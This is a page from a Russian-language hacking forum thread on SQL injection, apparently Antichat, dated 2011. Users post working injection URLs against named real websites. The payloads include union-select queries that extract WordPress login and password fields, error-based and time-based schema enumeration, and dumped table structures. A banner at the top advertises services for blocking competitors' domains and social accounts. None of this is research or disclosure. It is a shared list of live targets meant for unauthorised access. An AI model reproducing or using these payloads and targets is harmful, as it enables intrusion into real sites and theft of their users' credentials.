SQL Инъекции

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 1448 из 1604

1448

Опции темы

Поиск в этой теме

Опции просмотра

#14471

25.11.2011, 14:49

tabletkO

Познающий

Регистрация: 03.11.2011

Сообщений: 83

С нами: 7644566

Репутация: 11

Цитата:

Сообщение от stepashka_

Нет доступа

А так?)

Код HTML:

http://board.holod-nnov.ru/ind.php?id_typ=-292+union+select+1,2,3,4,5,6,column_name,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+information_schema.columns+where+table_name=0x57505f5553455253--+1

Выводит пасс:

Код HTML:

http://board.holod-nnov.ru/ind.php?id_typ=-292+union+select+1,2,3,4,5,6,USER_PASS,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+timon_remstroynn.WP_USERS--+1

#14472

25.11.2011, 14:59

stepashka_

Познавший АНТИЧАТ

Регистрация: 09.11.2009

Сообщений: 1,077

С нами: 8686406

Репутация: 265

Цитата:

Сообщение от tabletkO

А так?)

Код HTML:

http://board.holod-nnov.ru/ind.php?id_typ=-292+union+select+1,2,3,4,5,6,column_name,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+information_schema.columns+where+table_name=0x57505f5553455253--+1

Доступа нет к USER_PASS

#14473

25.11.2011, 15:26

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

С нами: 9061916

Репутация: 0

Цитата:

Сообщение от stepashka_

Доступа нет к
USER_PASS

просто таблица в другой базе лежит.

http://board.holod-nnov.ru/ind.php?id_typ=-292+union+select+1,2,3,4,5,6,concat_ws(0x3a,user_l ogin,user_pass),8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4, 5,6,7,8,9,0,1+from+timon_remstroynn.wp_users--

#14474

25.11.2011, 19:34

kallstrom

Новичок

Регистрация: 19.03.2010

Сообщений: 0

С нами: 8498983

Репутация: 0

MapLib.net - Make your custom Google Maps out of any pictures

Цитата:

Сообщение от None

http://www.maplib.net/people.php?u=klemperer' AND (SELECT 9066 FROM(SELECT COUNT(*),CONCAT(CHAR(58,116,112,97,58),(SELECT MID((IFNULL(CAST(schema_name AS CHAR),CHAR(32))),1,50) FROM information_schema.SCHEMATA LIMIT 8,1),CHAR(58,113,100,101,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'xhVm'='xhVm

PR=5

тИЦ=20

Alexa=569,559

#14475

25.11.2011, 20:25

BLurpi^_^

Участник форума

Регистрация: 09.02.2011

Сообщений: 218

С нами: 8029046

Репутация: 9

http://ledi.ru/news.php?id=223%20union%20all%20select%201,2,3,4,5 ,6--

ТИЦ 100 пр=4

#14476

25.11.2011, 23:10

kallstrom

Новичок

Регистрация: 19.03.2010

Сообщений: 0

С нами: 8498983

Репутация: 0

Издательство «Учитель»

Не надо было оставлять старую версию сайта! Через нее и получаем доступ к актуальной базе:

Цитата:

Сообщение от None

http://old.uchitel-izd.ru/index.php?option=content&task=view&id=22 AND (SELECT 1816 FROM(SELECT COUNT(*),CONCAT(CHAR(58,112,110,101,58),(SELECT MID((IFNULL(CAST(schema_name AS CHAR),CHAR(32))),1,50) FROM information_schema.SCHEMATA LIMIT 1,1),CHAR(58,118,118,121,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

PR=5

тИЦ=140

Alexa=2,098,739

#14477

26.11.2011, 09:08

PRosTo_LEva

Новичок

Регистрация: 18.04.2007

Сообщений: 1

С нами: 10035004

Репутация: 0

Цитата:

Сообщение от stepashka_

http://crimeahouse.net/doska/ind.php?id_typ...........>>>

По твоим стопам! Спасибо за подсказку.. =)

ТИЦ: 60

Версия бд 4

Цитата:

Сообщение от None

http://www.jeleza.net/ind.php?id_typ=1+union+select+1,2,3,4,5,6,7,versio n%28%29,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3+--

Ну и еще пару добрых и простых скулей)

ТИЦ 150

Версия базы 5

Цитата:

Сообщение от None

http://www.niva.vn.ua/photo.php?num=-1+union+select+1,version%28%29+--

ТИЦ10

Версия базы 5 - читается классно.

Цитата:

Сообщение от None

http://krynycya.org.ua/index.php?cPath=-1+union+select+1,table_name,3+from+information_sch ema.tables+--

Вот (^^,) Бог завещал делиться?)))

#14478

26.11.2011, 10:28

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 11

С нами: 9176038

Репутация: 8

Ни много, ни мало -Хостинг

Site:www.geromail.com

PR=2

Alexa=10 795 098

Inject

Код:

_ttp://www.geromail.com/search.asp?cmd=Search+Scams/Virus&q=1234'/**/and/**/'a'='a

Version:5.0.51a-community-nt

Database:support

User:support@localhost

Крутил через Time-Based SQL, поэтому привожу структуру таблиц. чтоб никто зря не терял времени =)

Структура таблиц

cur

Код:

active
crat
cdec
csuf
cpre
cdsp
curr
id

curhdr

Код:

upddte
curdte
id

masq1

Код:

guid
vir
htm
msg
sbj
att
dat
shwfr
fr
frip

masqdef

Код:

vdsc
vfix
vurl
vnam

masqrem

Код:

cstt
crem
cmsg
crat
ccnt
ceml
cnam
cip
cdat
guid
id

rip1s

Код:

cnts
dsp
cto
cfr
cnt

#14479

27.11.2011, 00:46

stepashka_

Познавший АНТИЧАТ

Регистрация: 09.11.2009

Сообщений: 1,077

С нами: 8686406

Репутация: 265

Цитата:

Сообщение от None

http://vetwell.ru/board/index.php?id_typ=248&id_land=1+union+select+1,2,3, 4,5,6,concat_ws(0x3a,user(),version(),database()), 8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8+--+

VETWELLR_BOARD@LOCALHOST:5.0.92-COMMUNITY-LOG:VETWELLR_BOARD

#14480

27.11.2011, 15:14

tabletkO

Познающий

Регистрация: 03.11.2011

Сообщений: 83

С нами: 7644566

Репутация: 11

Сервис прогона по каталогам

Код HTML:

http://christiantraffic.com/affiliateSignUp.phtml?ID=-1'+and+1=1+union+select+1,2,version(),4,5,6,7,8,user(),10,11,12,13,14,15,16,17,18--+1

Страница 1448 из 1604

1448

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход